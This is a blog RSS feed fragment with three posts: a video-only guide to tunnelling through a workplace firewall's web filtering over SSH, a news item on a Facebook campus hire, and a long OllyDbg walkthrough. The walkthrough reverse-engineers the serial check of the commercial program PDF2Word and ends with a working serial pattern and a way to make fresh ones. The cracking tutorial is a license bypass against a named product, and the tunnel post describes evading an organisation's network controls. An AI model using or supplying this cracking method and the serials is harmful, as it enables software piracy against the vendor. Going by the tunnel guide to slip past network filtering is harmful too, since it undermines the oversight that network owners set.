&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;object class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://3.gvt0.com/vi/RqLsWi186D8/0.jpg" height="266" width="320"&gt;&lt;param name="movie" value="http://www.youtube.com/v/RqLsWi186D8&amp;fs=1&amp;source=uds" /&gt;&lt;param name="bgcolor" value="#FFFFFF" /&gt;&lt;embed width="320" height="266"  src="http://www.youtube.com/v/RqLsWi186D8&amp;fs=1&amp;source=uds" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;&lt;br /&gt;
&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Doing the same as above, this time while using Linux instead of Windows (combination of &lt;b&gt;Steps 1+2&lt;/b&gt; described above):&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;object class="BLOGGER-youtube-video" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0" data-thumbnail-src="http://2.gvt0.com/vi/FVNHtU-KxWo/0.jpg" height="266" width="320"&gt;&lt;param name="movie" value="http://www.youtube.com/v/FVNHtU-KxWo&amp;fs=1&amp;source=uds" /&gt;&lt;param name="bgcolor" value="#FFFFFF" /&gt;&lt;embed width="320" height="266"  src="http://www.youtube.com/v/FVNHtU-KxWo&amp;fs=1&amp;source=uds" type="application/x-shockwave-flash"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt;Thanks to Ilan Altir&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt; &lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: &amp;quot;Trebuchet MS&amp;quot;,sans-serif;"&gt; Hope this three will helped u for better understanding&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4232286417746899709-2718325058465711402?l=defendhackers.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/defendhackers/~4/h1EK5ZjkiHw" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/defendhackers/~3/h1EK5ZjkiHw/how-to-bypass-firewall-restrictions-on.html</link><author>noreply@blogger.com (h4ckfreak)</author><media:thumbnail url="http://2.bp.blogspot.com/-9Bz7D1hSZJk/Tmhbg7fGTuI/AAAAAAAAAUo/U6m1n5bbQTE/s72-c/superare_firewall_tunnel_ssh.jpg" height="72" width="72" /><thr:total>0</thr:total><enclosure url="http://www.youtube.com/v/eoAwSUr5kHQ&amp;fs=1&amp;source=uds" length="1146" type="application/x-shockwave-flash" /><media:content url="http://www.youtube.com/v/eoAwSUr5kHQ&amp;fs=1&amp;source=uds" fileSize="1146" type="application/x-shockwave-flash" /><itunes:explicit>no</itunes:explicit><itunes:subtitle> The following procedure allows you to get to blocked Websites, from within a LAN which is subject to Firewall restrictions on outgoing HTTP connections (Web Filtering). Step 1: How to set up an SSH server in Windows, using CopSSH (an implementation for W</itunes:subtitle><itunes:author>noreply@blogger.com (h4ckfreak)</itunes:author><itunes:summary> The following procedure allows you to get to blocked Websites, from within a LAN which is subject to Firewall restrictions on outgoing HTTP connections (Web Filtering). Step 1: How to set up an SSH server in Windows, using CopSSH (an implementation for Windows&amp;nbsp;of OpenSSH). Step 2:&amp;nbsp;How to create&amp;nbsp;an SSH Tunnel to the server, in order to&amp;nbsp;bypass local&amp;nbsp;Firewall restrictions on outgoing HTTP&amp;nbsp;connections. Doing the same as above, this time while using Linux instead of Windows (combination of Steps 1+2 described above): Thanks to Ilan Altir Hope this three will helped u for better understanding</itunes:summary><itunes:keywords>Tools, Tutorials</itunes:keywords><feedburner:origLink>http://defendhackers.blogspot.com/2011/09/how-to-bypass-firewall-restrictions-on.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4232286417746899709.post-4659253009103554292</guid><pubDate>Tue, 30 Aug 2011 08:19:00 +0000</pubDate><atom:updated>2011-08-30T01:19:00.349-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tech Updates</category><category domain="http://www.blogger.com/atom/ns#">Facebook Hacks</category><title>Facebook Recruits NIT Warangal(India) Student For 45lakh per annum</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-HJag7PABjWs/TlycpbiDrLI/AAAAAAAAATY/cIpDgzYATag/s1600/facebook.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/-HJag7PABjWs/TlycpbiDrLI/AAAAAAAAATY/cIpDgzYATag/s1600/facebook.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span id="advenueINTEXT" name="advenueINTEXT"&gt;It's raining lucrative jobs at  NIT Warangal  which has had the best placement season so far. The 51-year-old  institute started its recruitment drive on August 15 and already has a  21-year-old fourth year BTech computer science student securing the  highest ever pay package of Rs 45 lakh per annum. The offer, made by  Facebook,  has created a record of sorts here. The institute confirmed that the  student will be joining the technical wing of the social networking  giant, as soon as he completes his course in March next year. &lt;br /&gt;
&lt;br /&gt;
This has set a new benchmark at NIT Warangal in that the highest salary  any student from the institute had bagged so far was Rs 20 lakh per  annum. From the 2010-11 batch as many as three students had got jobs  that paid them Rs 20 lakh per annum, sources at NIT said. It is not just  the 21-year-old whizkid who has bagged a hefty package this year.  According to sources, the salaries offered to students so far range  anywhere between Rs 5 to Rs 12 lakh per annum. The recruitment process  for this year that started on August 15 is expected to last till March  2012. Sources said that most of the recruiters so far are IT companies. &lt;br /&gt;
&lt;br /&gt;
About 30 students from computer science stream of the institute have  already been recruited. Eight companies have come in for recruitment in  the first round so far. According to NIT officials, this year other than  the usual brand of companies several new ones have expressed interest  in hiring. "Companies have now shed the recession blues completely and  are looking for fresh candidates to recruit. Many of them like  Microsoft, Amazon,  Oracle  and Google could recruit more number of freshers than they did last  year," said a senior professor from the institute. Last year, 92%  students from the B Tech batch of the institute and 50 % students from M  Tech batch were recruited by companies. The average pay package offered  by companies last year was between Rs 6 and Rs 7 lakh per annum. The  institute officials are expecting a considerable increase in the pay  packages this year. NIT professors said that this year, several  companies have been vying for the first interview slots with students. &lt;br /&gt;
&lt;br /&gt;
"Most of the IT companies are willing to pay really well to bright  students who get absorbed in the first or second interview. The  companies who come for interviews later could offer bigger packages to  students. We'll have to wait and watch what the salary trend this year  is," said an official from NIT. &lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4232286417746899709-4659253009103554292?l=defendhackers.blogspot.com' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/defendhackers/~4/31HZ6ihQpb4" height="1" width="1"/&gt;</description><link>http://feedproxy.google.com/~r/defendhackers/~3/31HZ6ihQpb4/facebook-recruits-nit-warangalindia.html</link><author>noreply@blogger.com (h4ckfreak)</author><media:thumbnail url="http://4.bp.blogspot.com/-HJag7PABjWs/TlycpbiDrLI/AAAAAAAAATY/cIpDgzYATag/s72-c/facebook.jpg" height="72" width="72" /><thr:total>0</thr:total><feedburner:origLink>http://defendhackers.blogspot.com/2011/08/facebook-recruits-nit-warangalindia.html</feedburner:origLink></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-4232286417746899709.post-922745646053167576</guid><pubDate>Sat, 27 Aug 2011 10:37:00 +0000</pubDate><atom:updated>2011-08-27T03:37:01.456-07:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Tips n Tricks</category><category domain="http://www.blogger.com/atom/ns#">Ethical Hacking</category><title>Reverse Engineering with "pdf2word" Live</title><description>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/-4D4atwi6vfg/TljIpGT0EBI/AAAAAAAAATU/5SKJp9laEac/s1600/pdf-word.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="320" src="http://4.bp.blogspot.com/-4D4atwi6vfg/TljIpGT0EBI/AAAAAAAAATU/5SKJp9laEac/s400/pdf-word.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style="font-family: georgia; font-size: small;"&gt;In This "tutorial" we will use a real program called PDF2Word.&lt;br /&gt;
I stumbled upon this program when trying to convert a pdf document to a word document (duh..).&lt;/span&gt;&lt;br /&gt;
&lt;div style="font-family: Times New Roman;"&gt;  &lt;span style="font-size: small;"&gt;The funny thing about this program is that it costs $39.95 and that it is released under the GPL.&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times New Roman;"&gt;  &lt;span style="font-size: small;"&gt;Let's start shall we?&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size: small;"&gt;  &lt;strong style="font-family: Times New Roman;"&gt;1:&lt;/strong&gt;&lt;span style="font-family: Times New Roman;"&gt; Obtain a copy of the program at&lt;/span&gt; &lt;a class="previewlink" href="http://www.verypdf.com/pdf2word/index.html"&gt;http://www.verypdf.com/pdf2word/index.html&lt;/a&gt;&lt;br /&gt;
&lt;span style="font-family: Times New Roman;"&gt;We will use version 2.6 in this tutorial.&lt;/span&gt;&lt;/span&gt;&lt;div style="font-family: Times New Roman;"&gt;&lt;span style="font-size: small;"&gt;  &lt;strong&gt;2:&lt;/strong&gt; Obtain a copy of ollydbg at &lt;a class="previewlink" href="http://www.ollydbg.de/"&gt;http://www.ollydbg.de/&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style="font-family: Times New Roman;"&gt;  &lt;span style="font-size: small;"&gt;Start PDF2Word and you will see a screen with title &lt;em&gt;"Please register .."&lt;/em&gt;&lt;br /&gt;
Type in an emailadress and a bogus Registrationkey and hit OK.&lt;br /&gt;
Write down the error message you get since we will need it later on:&lt;br /&gt;
&lt;em&gt;"Series number error, please check it and try again."&lt;/em&gt;&lt;/span&gt;&lt;/div&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Times New Roman;"&gt;Now close pdf2word and start Ollydbg. From within ollydbg go to file, open and browse to&lt;/span&gt;&lt;br /&gt;
&lt;strong&gt;C:\Program Files\PDF2Word v2.6\&lt;/strong&gt; and select &lt;strong&gt;pdf2rtf.exe&lt;/strong&gt;.&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: small;"&gt;Once the program is loaded rightclick somewhere in the code table and select &lt;em&gt;Search for&lt;/em&gt;&lt;br /&gt;
Then select &lt;em&gt;All referenced text strings"&lt;/em&gt;.&lt;br /&gt;
A new window will open with all text strings in the program. Scroll up and rightclick once more.&lt;br /&gt;
Now select &lt;em&gt;Search for text&lt;/em&gt; and put in the errorstring you had earlier in the program:&lt;br /&gt;
&lt;em&gt;"Series number error, please check it and try again."&lt;/em&gt;.&lt;br /&gt;
deselect "Case Sensitive" and press OK.&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-size: small;"&gt;You will see the following line highlighted: &lt;/span&gt;&lt;br /&gt;
&lt;pre style="font-family: Times New Roman;"&gt;&lt;code&gt;
00429F6F | PUSH pdf2rtf.00468270 |ASCII "Series number error,
&amp;nbsp;please check it and try again."&lt;/code&gt;&lt;/pre&gt;&lt;span style="font-family: georgia; font-size: small;"&gt;Now press &lt;f2&gt; to put a breakpoint on it. Directly above you will find some other strings&lt;br /&gt;
which might be of interest as well so put a breakpoint on them to. These are:&lt;br /&gt;
&lt;em&gt;"Thank you registered"&lt;/em&gt; and &lt;em&gt;"Thank you registered VeryPDF PDF2Word v1.6."&lt;/em&gt;&lt;/f2&gt;&lt;/span&gt;  &lt;span style="font-family: georgia; font-size: small;"&gt;Now double click on one of the lines and press &amp;lt;F9&amp;gt; to start the program.&lt;/span&gt;&lt;br /&gt;
&lt;span style="font-family: georgia; font-size: small;"&gt;The registration window will come up again, so now put in an emailaddress, a dummy registration-key&lt;br /&gt;
and press OK.&lt;br /&gt;
&lt;br /&gt;
Go back to Olly and you will see the following line highlighted: &lt;/span&gt;&lt;br /&gt;
&lt;pre style="font-family: Times New Roman;"&gt;&lt;code&gt;
00429F6F PUSH pdf2rtf.00468270 ;|Text = "Series number error, 
please check it and try again."&lt;/code&gt;&lt;/pre&gt;&lt;span style="font-family: georgia; font-size: small;"&gt;This is our errormessage again and the program has stopped right before displaying it.&lt;br /&gt;
You can see this errormessage is part of a &lt;span style="color: red;"&gt;MessageBoxA&lt;/span&gt; call, this is the&lt;br /&gt;
API responsible for displaying the Message. If you look a couple of lines earlier you will&lt;br /&gt;
see another &lt;span style="color: red;"&gt;MessageBoxA&lt;/span&gt; call where instead of our errormessage now the &lt;br /&gt;
message &lt;em&gt;"Thank you registered VeryPDF PDF2Word v1.6."&lt;/em&gt; is located.&lt;br /&gt;
This means that if we have the correct serial it will display the registered message, and if&lt;br /&gt;
we don't we will get the error.&lt;br /&gt;
The program will need to decide if your serial is correct before it can display any of these&lt;br /&gt;
messages. The code to do so is usually located close to the messages so scroll up a bit until&lt;br /&gt;
you see a piece of code containing a JNE,JE,JNZ or JZ. These are jumps that occur when a specific&lt;br /&gt;
event is met.&lt;br /&gt;
Usually the event is tested in the code directly in front of it.&lt;br /&gt;
In this case you should end up at the following lines: &lt;table bgcolor="#ababab" border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;
&lt;tr&gt; &lt;td&gt; &lt;pre&gt;&lt;code&gt;
00429F2E . 85C0 TEST EAX,EAX
00429F30 . 74 39 JE SHORT pdf2rtf.00429F6B&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;As you can see EAX is tested against itself which in this case will jump to 00429F6B if&lt;br /&gt;
EAX has the value 0.&lt;br /&gt;
if we trace the jump we will see that it will jump over the registered message and end up&lt;br /&gt;
right before the errormessage. This means that if EAX = 0 we will get the errormessage and &lt;br /&gt;
our serial is wrong.&lt;br /&gt;
&lt;br /&gt;
At this point we could remove the &lt;strong&gt;JE SHORT pdf2rtf.00429F6B&lt;/strong&gt; code and fill it with&lt;br /&gt;
NOP so we will always get the correct message since the jump is never made, but that won't help&lt;br /&gt;
here cause if you restart the program it will still ask you to register.&lt;br /&gt;
&lt;br /&gt;
So we need to continue our search. We need to figure out where EAX is getting it's value from.&lt;br /&gt;
2 lines above &lt;strong&gt;TEST EAX,EAX&lt;/strong&gt; we see &lt;table bgcolor="#ababab" border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;
&lt;tr&gt; &lt;td&gt; &lt;pre&gt;&lt;code&gt;
00429F26 . E8 F5F7FFFF CALL pdf2rtf.00429720&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;This is a call to a function somewhere else in the program and you can bet your life it is this&lt;br /&gt;
function that sets the EAX value.&lt;br /&gt;
And so we need to figure out what this function does. To do this we will put another breakpoint&lt;br /&gt;
at &lt;strong&gt;CALL pdf2rtf.00429720&lt;/strong&gt; by highlighting the line and press &amp;lt;F2&amp;gt;.&lt;br /&gt;
Now we want to restart the program to make it break on the function call. This is done by&lt;br /&gt;
pressing &amp;lt;CTRL&amp;gt;+&amp;lt;F2&amp;gt;. Select YES to the question asked (press left arrow and hit enter) and the program is restarted.&lt;br /&gt;
Now press &amp;lt;F9&amp;gt; again to let the program run.&lt;br /&gt;
You will see the registrationbox popup again, so put in an emailaddress and a bogus serial and press OK.&lt;br /&gt;
&lt;br /&gt;
As you can see the program will break on the &lt;strong&gt;CALL pdf2rtf.00429720&lt;/strong&gt; line.&lt;br /&gt;
Now press &amp;lt;F7&amp;gt; to step into the call.&lt;br /&gt;
The first 4 lines are not of interest to us so we will start analyzing the code from &lt;strong&gt;00429725&lt;/strong&gt;.&lt;br /&gt;
The code we have there is &lt;table bgcolor="#ababab" border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;
&lt;tr&gt; &lt;td&gt; &lt;pre&gt;&lt;code&gt;
00429725 |. 8B7424 3C MOV ESI,DWORD PTR SS:[ESP+3C]
00429729 |. 57 PUSH EDI
0042972A |. 8A06 MOV AL,BYTE PTR DS:[ESI]
0042972C |. 8A4E 01 MOV CL,BYTE PTR DS:[ESI+1]
0042972F |. 8A56 0E MOV DL,BYTE PTR DS:[ESI+E]
00429732 |. 884424 18 MOV BYTE PTR SS:[ESP+18],AL
00429736 |. 32C0 XOR AL,AL
00429738 |. 884C24 30 MOV BYTE PTR SS:[ESP+30],CL
0042973C |. 8A4E 0F MOV CL,BYTE PTR DS:[ESI+F]
0042973F |. 884424 19 MOV BYTE PTR SS:[ESP+19],AL
00429743 |. 884424 31 MOV BYTE PTR SS:[ESP+31],AL
00429747 |. 884424 25 MOV BYTE PTR SS:[ESP+25],AL
0042974B |. 884424 0D MOV BYTE PTR SS:[ESP+D],AL

0042974F |. 8A46 02 MOV AL,BYTE PTR DS:[ESI+2]
00429752 |. 3C 24 CMP AL,24
00429754 |. 885424 24 MOV BYTE PTR SS:[ESP+24],DL
00429758 |. 884C24 0C MOV BYTE PTR SS:[ESP+C],CL
0042975C |. 75 52 JNZ SHORT pdf2rtf.004297B0&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;I've copied the entire block until the first check of the serial above to safe space, so refer&lt;br /&gt;
to above code in this explanation.&lt;br /&gt;
&lt;br /&gt;
&lt;quote&gt; 1st line --&amp;gt; move our entered serial to ESI&lt;br /&gt;
2nd line --&amp;gt; not important&lt;br /&gt;
3rd line --&amp;gt; move the first byte (character) of our serial into AL&lt;br /&gt;
4th line --&amp;gt; move the second byte (first+1) of our serial into CL&lt;br /&gt;
5th line --&amp;gt; move the 13th byte (first+E) of our serial into DL&lt;br /&gt;
6th line --&amp;gt; move content of AL (first character of our serial) into [ESP+18]&lt;br /&gt;
7th line --&amp;gt; clear the contents of AL&lt;br /&gt;
8th line --&amp;gt; move the content of CL (second character) into [ESP+30]&lt;br /&gt;
9th line --&amp;gt; move the 14th byte (first+F) of our serial into CL&lt;br /&gt;
10th,11th,12th,13th line --&amp;gt; clear the contents of [ESP+19],[ESP+31],[ESP+25] &amp;amp; [ESP+D] since AL still is empty.&lt;br /&gt;
14th line --&amp;gt; move the third byte (first+2) of our serial into AL&lt;br /&gt;
15th line --&amp;gt; compare content of AL with 0x24 (hex for the $ sign)&lt;br /&gt;
16th line --&amp;gt; move the 13th byte of our serial into [ESP+24]&lt;br /&gt;
17th line --&amp;gt; move the 14th byte of our serial into [ESP+C]&lt;br /&gt;
18th line --&amp;gt; Jump to 004297B0 if AL is not equal to 24 ($ sign).&lt;br /&gt;
&lt;br /&gt;
&lt;/quote&gt; If you trace the jump in the 18th line you will see that it jumps to the following code: &lt;table bgcolor="#ababab" border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;
&lt;tr&gt; &lt;td&gt; &lt;pre&gt;&lt;code&gt;
004297B0 |&amp;gt; 5F POP EDI
004297B1 |. 5E POP ESI
004297B2 |. 33C0 XOR EAX,EAX
004297B4 |. 5D POP EBP
004297B5 |. 83C4 30 ADD ESP,30
004297B8 \. C3 RETN&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;Which means so much as restore values, set EAX to 0 and return from where we were called.&lt;br /&gt;
If we let this happen then EAX will be 0 which will give us the errormessage.&lt;br /&gt;
&lt;br /&gt;
So what do we know now from this code?&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt; - AL should be equal to 0x24 or we will get the errormessage&lt;br /&gt;
- the program moves the third character of our serial into AL before comparing it to 0x24&lt;br /&gt;
- the program moves the 14th byte of our serial into CL&lt;br /&gt;
&lt;/strong&gt;&lt;br /&gt;
from above we can conclude that the third character of our serial should be a $ sign and &lt;br /&gt;
that our serial should be at least 14 characters long since the 14th character is moved.&lt;br /&gt;
&lt;br /&gt;
So our serial will be something like: &lt;strong&gt;..$...........&lt;/strong&gt; &lt;br /&gt;
&lt;br /&gt;
It's time for the next piece of code: &lt;table bgcolor="#ababab" border="0" cellpadding="0" cellspacing="0" style="height: 232px; width: 466px;"&gt;&lt;tbody&gt;
&lt;tr&gt; &lt;td&gt; &lt;pre&gt;&lt;code&gt;
0042975E |. 8B3D 4C964400 MOV EDI,DWORD PTR DS:[&amp;lt;&amp;amp;MSVCRT.atoi&amp;gt;] ; msvcrt.atoi
00429764 |. 8D5424 0C LEA EDX,DWORD PTR SS:[ESP+C]
00429768 |. 52 PUSH EDX  ; /s
00429769 |. FFD7 CALL EDI  ; \atoi
0042976B |. 8BE8 MOV EBP,EAX
0042976D |. 8D4424 1C LEA EAX,DWORD PTR SS:[ESP+1C]
00429771 |. 50 PUSH EAX
00429772 |. FFD7 CALL EDI
00429774 |. 03E8 ADD EBP,EAX
00429776 |. 83C4 08 ADD ESP,8
00429779 |. 83FD 0A CMP EBP,0A
0042977C |. 75 32 JNZ SHORT pdf2rtf.004297B0&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;Let's analyze it:&lt;br /&gt;
&lt;br /&gt;
&lt;quote&gt; 1st line --&amp;gt; move the address of the function MSVCRT.atoi to EDI&lt;br /&gt;
&lt;strong&gt;atoi&lt;/strong&gt; is a function which converts ASCII characters to integers (numbers).&lt;br /&gt;
2nd line --&amp;gt; put the 16th byte of our serial into EDI&lt;br /&gt;
3rd line --&amp;gt; push our byte to the stack as an argument to atoi&lt;br /&gt;
4th line --&amp;gt; call atoi. the result will be in EAX&lt;br /&gt;
5th line --&amp;gt; move content of EAX into EBP&lt;br /&gt;
6th line --&amp;gt; move the first byte of our serial into EAX&lt;br /&gt;
7th line --&amp;gt; push our byte to the stack as an argument to atoi&lt;br /&gt;
8th line --&amp;gt; call atoi. the result will be in EAX&lt;br /&gt;
9th line --&amp;gt; add EAX to EBP and store the result in EBP&lt;br /&gt;
10th line --&amp;gt; not important to us&lt;br /&gt;
11th line --&amp;gt; compare EBX with the value 0x0A (10)&lt;br /&gt;
12th line --&amp;gt; if EBX is not 0x0A then jump to 004297B0 (put 0 into EAX and return).&lt;br /&gt;
&lt;br /&gt;
&lt;/quote&gt; &lt;strong&gt;NOTE:&lt;/strong&gt;You probably wonder how I figured out which byte is used to put into atoi, well here &lt;br /&gt;
it is: I've put in serials multiple times with different digits as values and compared them to&lt;br /&gt;
the output of atoi in EAX. This resulted in the corresponding bytes.&lt;br /&gt;
&lt;br /&gt;
What do we know from this code?&lt;br /&gt;
&lt;strong&gt; - our 16th byte is put into EDI, this means that our serial must be at least 16 characters long&lt;br /&gt;
- the 16th byte is put into atoi, which means it much have a value between 0-9&lt;br /&gt;
- the 1st byte is put into atoi as well, which also means it must have a value between 0-9&lt;br /&gt;
- the value of our first byte is added to the value of our 16th byte and together they must be &lt;br /&gt;
equal to 0xA (10).&lt;br /&gt;
&lt;/strong&gt;&lt;br /&gt;
So now we have the following serial: &lt;strong&gt;1.$............9&lt;/strong&gt;&lt;br /&gt;
as you can imagine the values of our 1st and 16th byte can be anything as long as they both &lt;br /&gt;
are digits and when added to eachother are equal to 10 decimal.&lt;br /&gt;
&lt;br /&gt;
Time for the next piece of code: &lt;table bgcolor="#ababab" border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;
&lt;tr&gt; &lt;td&gt; &lt;pre&gt;&lt;code&gt;
0042977E |. 8D4C24 24 LEA ECX,DWORD PTR SS:[ESP+24]
00429782 |. 51 PUSH ECX
00429783 |. FFD7 CALL EDI
00429785 |. 8D5424 34 LEA EDX,DWORD PTR SS:[ESP+34]
00429789 |. 8BE8 MOV EBP,EAX
0042978B |. 52 PUSH EDX
0042978C |. FFD7 CALL EDI
0042978E |. 03E8 ADD EBP,EAX
00429790 |. 83C4 08 ADD ESP,8
00429793 |. 83FD 0A CMP EBP,0A
00429796 |. 75 18 JNZ SHORT pdf2rtf.004297B0&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;Let's analyze it:&lt;br /&gt;
&lt;quote&gt;&lt;br /&gt;
1st line --&amp;gt; our 15th byte is put into ECX&lt;br /&gt;
2nd line --&amp;gt; push our byte to the stack as an argument to atoi&lt;br /&gt;
3rd line --&amp;gt; call atoi. the result will be in EAX&lt;br /&gt;
4th line --&amp;gt; our 2nd byte is put into EDX&lt;br /&gt;
5th line --&amp;gt; move the result of atoi into EBP&lt;br /&gt;
6th line --&amp;gt; push our 2nd byte to the stack as an argument to atoi&lt;br /&gt;
7th line --&amp;gt; call atoi. the result will be in EAX&lt;br /&gt;
8th line --&amp;gt; add the result of our 15th and 2nd byte together and store in EBP&lt;br /&gt;
9th line --&amp;gt; not important to us.&lt;br /&gt;
10th line --&amp;gt; check if our 15th byte + our 2nd byte added together is equal to 0x0A (10).&lt;br /&gt;
11th line --&amp;gt; if not, then another jump to 004297B0&lt;br /&gt;
&lt;/quote&gt;&lt;br /&gt;
As you can see this code is very similar to the codeblock before, so I won't explain it any &lt;br /&gt;
further. &lt;br /&gt;
&lt;br /&gt;
Now we have the following serial: &lt;strong&gt;12$...........89&lt;/strong&gt;&lt;br /&gt;
We still need to analyze some code, but we're getting somewhere ;-)&lt;br /&gt;
&lt;br /&gt;
Lets take a look at the final piece of code from this call: &lt;table bgcolor="#ababab" border="0" cellpadding="0" cellspacing="0"&gt;&lt;tbody&gt;
&lt;tr&gt; &lt;td&gt; &lt;pre&gt;&lt;code&gt;
00429798 |. 807E 03 24 CMP BYTE PTR DS:[ESI+3],24
0042979C |. 75 12 JNZ SHORT pdf2rtf.004297B0
0042979E |. 8A4E 05 MOV CL,BYTE PTR DS:[ESI+5]
004297A1 |. 33C0 XOR EAX,EAX
004297A3 |. 80F9 23 CMP CL,23
004297A6 |. 5F POP EDI
004297A7 |. 5E POP ESI
004297A8 |. 5D POP EBP
004297A9 |. 0F94C0 SETE AL
004297AC |. 83C4 30 ADD ESP,30
004297AF |. C3 RETN&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;Analysis:&lt;br /&gt;
&lt;br /&gt;
&lt;quote&gt; 1st line --&amp;gt; since ESI still contains our serial, the 4th byte is now checked against value 0x24&lt;br /&gt;
2nd line --&amp;gt; if not equal, then goto the famous 004297B0 &lt;br /&gt;
3rd line --&amp;gt; move our 6th byte to CL&lt;br /&gt;
4th line --&amp;gt; check if our 6th byte is equal to 0x23 (# sign)&lt;br /&gt;
5th,6th,7th line --&amp;gt; not important&lt;br /&gt;
8th line --&amp;gt; sets the byte in AL to 1 if our check above is equal&lt;br /&gt;
9th line --&amp;gt; not important &lt;br /&gt;
10th line --&amp;gt; return to where this call was called from.&lt;br /&gt;
&lt;/quote&gt;&lt;br /&gt;
What we see here is that our 4th byte is compared to 0x24 ($ sign remember?) as well and that&lt;br /&gt;
the 6th byte is compared to 0x23 (the # sign).&lt;br /&gt;
&lt;br /&gt;
If that is correct then AL is set to 1 meaning EAX won't be 0 and so causing the program to&lt;br /&gt;
give the registered message.&lt;br /&gt;
&lt;br /&gt;
In short:&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt; -check if 3th == $&lt;br /&gt;
-check if 1st + 16th == 10&lt;br /&gt;
-check if 15th + 2nd == 10&lt;br /&gt;
-check if 4th == $&lt;br /&gt;
-check if 6th == #&lt;br /&gt;
&lt;/strong&gt;&lt;br /&gt;
All other characters are of no importance to create a valid serial so our result will be:&lt;br /&gt;
&lt;br /&gt;
&lt;strong&gt;12$$.#........89&lt;/strong&gt;&lt;br /&gt;
&lt;br /&gt;
You can fill in the remaining dots with anything you like and as long as the rules above are&lt;br /&gt;
correct you can change the 1th,2nd,15th and 16th byte as well.&lt;br /&gt;
&lt;br /&gt;
Now close OllyDbg and start PDF2Word.&lt;br /&gt;
Enter your email-address and enter one of your newly created serials.&lt;br /&gt;
&lt;br /&gt;
When you press ok you will be thanked for registrering. You're welcome ;-)&lt;br /&gt;
The result of your entered information is put in a string and written to &lt;br /&gt;
&lt;span style="color: red;"&gt;%WINDIR%\system32\pdf2word.dat&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
In case you want another serial just delete the dat file and put in a new one.&lt;br /&gt;
&lt;br /&gt;
Of course this is a very simple protection, but it is a nice example to cover the basics of &lt;br /&gt;
